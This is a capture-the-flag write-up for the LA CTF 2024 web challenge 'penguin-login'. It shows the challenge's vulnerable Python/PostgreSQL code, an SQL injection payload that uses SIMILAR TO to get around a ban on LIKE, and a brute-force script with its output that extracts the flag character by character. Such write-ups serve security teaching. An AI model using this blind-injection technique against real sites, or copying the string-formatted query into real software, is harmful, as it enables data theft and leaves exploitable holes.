u.twoha.cc/ctf/lactf/web_penguin_login.md
2024-09-13 19:49:18 -05:00

145 lines
5.4 KiB
Markdown

---
title: 'LA CTF 2024: web/penguin-login'
date: 2024-02-21
tags: ['ctf', 'ctf-web', 'sql']
---
## Task
> **web/penguin-login**
>
> I got tired of people leaking my password from the db so I moved it out of the db. [penguin.chall.lac.tf](https://penguin.chall.lac.tf)
>
> `penguin-login.zip`
- `Author: r2uwu2`
- `Points: 392`
- `Solves: 182 / 1074 (16.946%)`
## Writeup
The listed website presents us with a page consisting of a single text box, with a tiled GIF of a baby penguin as the background.
The source code shows us that our input must only consist of certain characters and cannot contain the word "like".
```py
allowed_chars = set(string.ascii_letters + string.digits + " 'flag{a_word}'")
forbidden_strs = ["like"]
...
username = request.form["username"]
conn = get_database_connection()
assert all(c in allowed_chars for c in username), "no character for u uwu"
assert all(
forbidden not in username.lower() for forbidden in forbidden_strs
), "no word for u uwu"
```
If our input passes these checks, it is used in an PostgreSQL query. However, the only information we get back is whether the query had a match or not.
```py
with conn.cursor() as curr:
curr.execute("SELECT * FROM penguins WHERE name = '%s'" % username)
result = curr.fetchall()
if len(result):
return "We found a penguin!!!!!", 200
return "No penguins sadg", 201
```
Additionally, the only data in the database is as follows:
```py
curr.execute("INSERT INTO penguins (name) VALUES ('peng')")
curr.execute("INSERT INTO penguins (name) VALUES ('emperor')")
curr.execute("INSERT INTO penguins (name) VALUES ('%s')" % (flag))
```
We need find a way to select the flag without knowing it exactly. One way we could do this is with SQL's `LIKE` operator, which lets us match a string with `%` representing any number of characters and `_` representing a single character. The program will not allow the word `LIKE` to appear in our input though, so we need to find something else.
Instead, we can use PostgreSQL's `SIMILAR TO` which also lets us use `%` and `_` in the same way. The valid character set only contains `_` though, so our input will look something like this:
```
' OR name SIMILAR TO '_
```
This will make the executed query:
```sql
SELECT * FROM penguins WHERE name = '' OR name SIMILAR TO '_'
```
To determine the length of the flag, we can send variations of this input with different numbers of `_`s until we get a match, ignoring lengths of 4 and 7, as we know `peng` and `emperor` are in the database.
We find that the flag contains 45 characters. Now, we can write a script to brute force each possible character in each position, one at a time:
```py
import requests
import string
name = list('lactf________________________________________')
# '{' and '}' also have a special meaning with SIMILAR TO, so we will omit using them
# we know where '{' and '}' will appear in the flag anyways
chars = list(set(string.ascii_letters + string.digits + " 'flag{a_word}'") - {'_', '{', '}'})
for i in range(6, len(name)):
print(''.join(name))
for c in chars:
name[i] = c
req = requests.post('https://penguin.chall.lac.tf/submit', {
'username': f"' or name similar to '{''.join(name)}"
})
if req.status_code == 200:
break
else:
# nothing worked, revert this char back to a literal '_'
name[i] = '_'
```
Running this script will take a while, but will eventually produce the following output:
```
lactf________________________________________
lactf_9______________________________________
lactf_90_____________________________________
lactf_90s____________________________________
lactf_90st___________________________________
lactf_90stg__________________________________
lactf_90stgr_________________________________
lactf_90stgr3________________________________
lactf_90stgr35_______________________________
lactf_90stgr35_______________________________
lactf_90stgr35_3_____________________________
lactf_90stgr35_3s____________________________
lactf_90stgr35_3s____________________________
lactf_90stgr35_3s_n__________________________
lactf_90stgr35_3s_n0_________________________
lactf_90stgr35_3s_n0t________________________
lactf_90stgr35_3s_n0t________________________
lactf_90stgr35_3s_n0t_l______________________
lactf_90stgr35_3s_n0t_l7_____________________
lactf_90stgr35_3s_n0t_l7k____________________
lactf_90stgr35_3s_n0t_l7k3___________________
lactf_90stgr35_3s_n0t_l7k3___________________
lactf_90stgr35_3s_n0t_l7k3_t_________________
lactf_90stgr35_3s_n0t_l7k3_th________________
lactf_90stgr35_3s_n0t_l7k3_th3_______________
lactf_90stgr35_3s_n0t_l7k3_th3_______________
lactf_90stgr35_3s_n0t_l7k3_th3_0_____________
lactf_90stgr35_3s_n0t_l7k3_th3_0t____________
lactf_90stgr35_3s_n0t_l7k3_th3_0th___________
lactf_90stgr35_3s_n0t_l7k3_th3_0th3__________
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_________
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_________
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_d_______
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_db______
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_____
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_____
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0___
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w__
lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0_
```
Thus, the correct flag is `lactf{90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0}`.
## Reference
- [PostgreSQL SIMILAR TO](https://www.postgresql.org/docs/current/functions-matching.html#FUNCTIONS-SIMILARTO-REGEXP)